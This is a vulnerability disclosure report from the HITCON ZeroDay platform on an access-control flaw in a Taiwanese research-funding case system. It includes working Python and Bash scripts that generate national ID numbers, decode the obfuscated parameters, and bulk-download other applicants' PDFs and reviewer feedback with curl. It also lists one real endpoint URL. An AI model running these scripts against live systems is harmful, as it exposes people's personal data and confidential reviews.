Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00580
- Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
- Title: National Science and Technology Council (NSTC) website IDOR / Broken Access Control / Information Leakage
- Introduction: The Web-based Case Report system uses a trivially reversible character-level obfuscation scheme (ASCII code + session-based offset) instead of proper authentication and authorization to protect sensitive URL parameters.
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/04/23 18:26:54 : 新提交 (由 Vincent 更新此狀態)
- 2026/04/27 17:50:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/20 15:53:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/20 15:53:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/20 15:53:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/21 13:42:40 : 新提交 (由 Vincent 更新此狀態)
- 2026/06/21 14:26:30 : 新提交 (由 Vincent 更新此狀態)
- 2026/06/23 21:54:47 : 新提交 (由 Vincent 更新此狀態)
- 2026/06/23 21:58:17 : 新提交 (由 Vincent 更新此狀態)
- 2026/06/25 16:30:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/26 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00580
- 通報者:vincentaun123 (Vincent)
- 風險:高
- 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)
參考資料
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
相關網址
https://wcr.nstc.gov.tw/CR/library/ShowPDF.aspx?appl_year=114&idno=362%24362%24360%24366%24368%24361%24360%24360%24368%24394%243240&code=C801
敘述
HITCON ZeroDay Vulnerability Report
Reporter: Vincent
Date: 2026-04-23
Vulnerability Type: IDOR / Broken Access Control / Information Leakage
Severity: High
1. Vulnerability Summary
The Web-based Case Report system uses a trivially reversible character-level obfuscation scheme (ASCII code + session-based offset) instead of proper authentication and authorization to protect sensitive URL parameters. An attacker who reverses this encoding can enumerate and access any applicant's documents by brute-forcing valid Taiwan National ID numbers and constructing forged URLs.
Two endpoints are affected:
| # | Endpoint | Exposure |
|---|---|---|
| 1 | /CR/library/ShowPDF.aspx | Application PDFs (C801–C804, OTH2, OTH4, OTH5, etc) |
| 2 | /CROReview/Review/wFrmReviewForm.aspx | Reviewer/auditor feedback on any application |
The attack is chainable: documents obtained from Endpoint 1 contain application Serial Numbers (SRNO), which can then be used to access Endpoint 2.
2. Technical Analysis
2.1 URL Parameter Structure
Endpoint 1 — ShowPDF.aspx:
https://xxxxx.gov.tw/CR/library/ShowPDF.aspx
?appl_year=114
&idno=362%24362%24360%24...%24394%243240
&code=C801
| Parameter | Description |
|---|---|
| appl_year | ROC (Minguo) calendar year. 114 = AD 2025. |
| idno | Obfuscated Taiwan National ID / ARC number + session token. |
| code | PDF page identifier: C801, C802, C803, C804, OTH2, OTH4, OTH5. |
Endpoint 2 — wFrmReviewForm.aspx:
https://xxxxxx.xxx.gov.tw/CROReview/Review/wFrmReviewForm.aspx
?SRNO1=368$363$360$...$361$3240
&SRNO2=363$362$364$...$362$3240
| Parameter | Description |
|---|---|
| SRNO1 | Obfuscated application Serial Number (reversed) + session token. Required. |
| SRNO2 | Secondary reference number + session token. Optional — can be removed without affecting results. |
2.2 Encoding Scheme (Obfuscation)
The %24 in the URL is URL-encoded $ (dollar sign), used as the delimiter. Each character of the identifier is encoded as:
encoded_value = ASCII_code_of_character + session_offset
The session offset changes every time a user logs in. In different observed sessions, the offsets were 247 and 312. The session token (e.g., 8140, 3240) is appended as the final $-separated value.
Decoding example (offset = 312):
| Encoded | − 312 | ASCII | Char |
|---|---|---|---|
| 362 | 50 | 50 | 2 |
| 362 | 50 | 50 | 2 |
| 360 | 48 | 48 | 0 |
| 366 | 54 | 54 | 6 |
| 368 | 56 | 56 | 8 |
| 361 | 49 | 49 | 1 |
| 360 | 48 | 48 | 0 |
| 360 | 48 | 48 | 0 |
| 368 | 56 | 56 | 8 |
| 394 | 82 | 82 | R |
Decoded ID: 220681008R
2.3 SRNO1 Encoding (Reversed Application Number)
For the review page, the application Serial Number is reversed before encoding. Example: Application number 114CFD0900038 → Reversed: 8300090DFC411 → Then each character is encoded with the same ASCII + session_offset scheme.
2.4 Determining the Session Offset
An attacker only needs to know one valid encoded value and its plaintext equivalent to compute the session offset for the entire session:
session_offset = any_encoded_value - ASCII_code_of_known_character
Once the offset is known, all identifiers can be encoded or decoded for that session.
3. Attack Chain
Stage 1 — Enumerate Valid Taiwan IDs and Access Application PDFs
- Generate valid Taiwan National ID numbers using the publicly documented check-digit algorithm.
- Encode each ID using the discovered ASCII + offset scheme.
- Construct URLs for ShowPDF.aspx and iterate through all code values (C801–C804, OTH2, OTH4, OTH5).
- Send HTTP requests and check for valid responses (HTTP 200 with PDF content vs. error pages).
- Successful hits yield the victim's application PDFs, which contain personal information and application Serial Numbers.
Stage 2 — Access Auditor/Reviewer Feedback
- Extract the application Serial Number (e.g.,
114CFD0900038) from PDFs obtained in Stage 1. - Reverse the Serial Number →
8300090DFC411. - Encode the reversed string using the same offset.
- Construct the URL for wFrmReviewForm.aspx and access the reviewer's feedback report.
4. Proof of Concept
4.1 Taiwan National ID Validator / Generator (Python)
The Taiwan National ID check-digit algorithm is publicly documented. The following script generates valid ID numbers that can be used to test the vulnerability.
#!/usr/bin/env python3
# taiwan_id_gen.py - Generate valid Taiwan National ID numbers.
LETTER_MAP = {
'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
'G': 16, 'H': 17, 'I': 34, 'J': 18, 'K': 19, 'L': 20,
'M': 21, 'N': 22, 'O': 35, 'P': 23, 'Q': 24, 'R': 25,
'S': 26, 'T': 27, 'U': 28, 'V': 29, 'W': 32, 'X': 30,
'Y': 31, 'Z': 33
}
WEIGHTS = [1, 9, 8, 7, 6, 5, 4, 3, 2, 1, 1]
def compute_check_digit(id_without_check: str) -> int:
letter = id_without_check[0].upper()
two_digit = LETTER_MAP[letter]
digits = [two_digit // 10, two_digit % 10]
digits += [int(c) for c in id_without_check[1:]]
weighted_sum = sum(d * w for d, w in zip(digits, WEIGHTS))
return (10 - (weighted_sum % 10)) % 10
def is_valid_id(tw_id: str) -> bool:
if len(tw_id) != 10: return False
if not tw_id[0].isalpha(): return False
if not tw_id[1:].isdigit(): return False
return int(tw_id[9]) == compute_check_digit(tw_id[:9])
def generate_ids(letter, gender, start=0, end=100):
valid_ids = []
for serial in range(start, end):
partial = f"{letter}{gender}{serial:07d}"
check = compute_check_digit(partial)
valid_ids.append(f"{partial}{check}")
return valid_ids
if __name__ == "__main__":
sample = generate_ids('A', 1, start=0, end=20)
for tw_id in sample:
print(f"{tw_id} valid={is_valid_id(tw_id)}")
4.2 Encoder / Decoder (Python)
#!/usr/bin/env python3
# encode_decode.py - Encode and decode obfuscated URL parameters.
def decode_idno(encoded_str: str, session_offset: int):
parts = encoded_str.replace('%24', '$').split('$')
session_token = parts[-1]
char_values = parts[:-1]
decoded = ''.join(chr(int(v) - session_offset) for v in char_values)
return decoded, session_token
def encode_idno(plaintext: str, session_offset: int, session_token: str) -> str:
encoded_parts = [str(ord(c) + session_offset) for c in plaintext]
encoded_parts.append(session_token)
return '%24'.join(encoded_parts)
def encode_srno(application_number: str, session_offset: int,
session_token: str) -> str:
reversed_num = application_number[::-1]
return encode_idno(reversed_num, session_offset, session_token)
def find_offset(known_char: str, encoded_value: int) -> int:
return encoded_value - ord(known_char)
if __name__ == "__main__":
raw = "362%24362%24360%24366%24368%24361%24360%24360%24368%24394%243240"
offset = 312
decoded_id, token = decode_idno(raw, offset)
print(f"Decoded ID: {decoded_id}")
print(f"Session token: {token}")
target_id = "617627521S"
encoded = encode_idno(target_id, offset, token)
print(f"Encoded '{target_id}': {encoded}")
app_number = "114CFD0900038"
srno_encoded = encode_srno(app_number, offset, token)
print(f"SRNO1 for '{app_number}': {srno_encoded}")
discovered_offset = find_offset('R', 394)
print(f"Discovered offset: {discovered_offset}")
4.3 Automated URL Testing (Bash)
#!/bin/bash
# brute_force_poc.sh - Automated URL testing for XXXX ShowPDF IDOR
SESSION_OFFSET=312
SESSION_TOKEN="3240"
APPL_YEAR=114
COOKIE="your_session_cookie_here"
BASE_URL="https://xxxxx.xxx.gov.tw/CR/library/ShowPDF.aspx"
CODES=("C801" "C802" "C803" "C804" "OTH2" "OTH4" "OTH5")
OUTPUT_DIR="./results"
mkdir -p "$OUTPUT_DIR"
echo "[*] Generating valid Taiwan ID numbers..."
python3 taiwan_id_gen.py > id_list.txt
while IFS= read -r TW_ID; do
ENCODED=$(python3 -c "
from encode_decode import encode_idno
print(encode_idno('${TW_ID}', ${SESSION_OFFSET}, '${SESSION_TOKEN}'))
")
for CODE in "${CODES[@]}"; do
URL="${BASE_URL}?appl_year=${APPL_YEAR}&idno=${ENCODED}&code=${CODE}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-b "$COOKIE" "$URL")
if [ "$HTTP_CODE" -eq 200 ]; then
echo "[+] HIT: ${TW_ID} | code=${CODE}"
echo "${TW_ID},${CODE},${URL}" >> "$OUTPUT_DIR/hits.csv"
curl -s -b "$COOKIE" "$URL" \
-o "$OUTPUT_DIR/${TW_ID}_${CODE}.pdf"
fi
done
done < id_list.txt
echo "[*] Scan complete. Results saved to $OUTPUT_DIR/"
4.4 Chained Attack — Access Reviewer Feedback (Bash)
#!/bin/bash
# chain_attack_poc.sh - Access reviewer feedback via Endpoint 2.
SESSION_OFFSET=312
SESSION_TOKEN="3240"
COOKIE="your_session_cookie_here"
BASE_URL="https://xxxxx.xxx.gov.tw/CROReview/Review/wFrmReviewForm.aspx"
OUTPUT_DIR="./review_results"
mkdir -p "$OUTPUT_DIR"
while IFS= read -r APP_NUM; do
SRNO1=$(python3 -c "
from encode_decode import encode_srno
print(encode_srno('${APP_NUM}', ${SESSION_OFFSET}, '${SESSION_TOKEN}'))
")
SRNO1_DOLLAR=$(echo "$SRNO1" | sed 's/%24/$/g')
URL="${BASE_URL}?SRNO1=${SRNO1_DOLLAR}"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-b "$COOKIE" "$URL")
if [ "$HTTP_CODE" -eq 200 ]; then
echo "[+] HIT: ${APP_NUM}"
curl -s -b "$COOKIE" "$URL" \
-o "$OUTPUT_DIR/${APP_NUM}_review.html"
fi
done < app_numbers.txt
echo "[*] Review scan complete."
5. Impact Assessment
5.1 Data at Risk
Personal Information: Applicant names, Taiwan National ID numbers, contact information, institutional affiliations.
Research Proposals: Full text of XXXXXX XXXXXX grant applications (which may contain unpublished research ideas, budgets, and institutional data).
Reviewer Feedback: Confidential peer-review comments and scores from academic reviewers, intended to be restricted to the applicant and XXXXXX staff.
5.2 Severity Justification
| Factor | Assessment |
|---|---|
| Attack complexity | Low — obfuscation is trivially reversible; Taiwan ID format is public. |
| Authentication | Yes — valid session needed, but any user can access other users' data. |
| Scope of exposure | All applicants across all years (by modifying appl_year). |
| Confidentiality impact | High — PII, research content, and review feedback exposed. |
| Chained exploitation | Stage 1 feeds Stage 2, amplifying the attack surface. |
5.3 OWASP / CWE Classification
OWASP Top 10 2021 — A01: Broken Access Control
CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)
CWE-656: Reliance on Security Through Obscurity
6. Remediation Recommendations
6.1 Immediate Fixes (High Priority)
1. Implement server-side authorization checks. Every request to ShowPDF.aspx and wFrmReviewForm.aspx must verify that the authenticated user is authorized to access the requested resource. The server should compare the session's authenticated identity against the requested idno or SRNO1.
2. Remove direct object references from URLs. Replace predictable identifiers (idno, SRNO1) with opaque, non-guessable tokens (e.g., UUIDs or cryptographically signed tokens) that are mapped server-side.
3. Implement rate limiting and anomaly detection. Monitor for rapid sequential requests to ShowPDF.aspx with different idno values from the same session, indicating enumeration attacks.
6.2 Long-Term Improvements
4. Use proper encryption, not obfuscation. If parameters must be passed via URL, use authenticated encryption (e.g., AES-GCM) with a server-side key, not a simple arithmetic offset.
5. Add CSRF tokens to state-changing requests to prevent cross-site request forgery.
6. Audit logging. Log all document access with the requester's identity, IP address, and timestamp. Alert on access patterns that indicate enumeration.
7. Remove SRNO2 or enforce its validation. Since SRNO2 is currently ignored server-side, either remove it from the URL specification or enforce its validation to reduce the attack surface.
7. References
修補建議
For more information, please check the "敘述" session.
6. Remediation Recommendations
6.1 Immediate Fixes (High Priority)
1. Implement server-side authorization checks. Every request to ShowPDF.aspx and wFrmReviewForm.aspx must verify that the authenticated user is authorized to access the requested resource. The server should compare the session's authenticated identity against the requested idno or SRNO1.
2. Remove direct object references from URLs. Replace predictable identifiers (idno, SRNO1) with opaque, non-guessable tokens (e.g., UUIDs or cryptographically signed tokens) that are mapped server-side.
3. Implement rate limiting and anomaly detection. Monitor for rapid sequential requests to ShowPDF.aspx with different idno values from the same session, indicating enumeration attacks.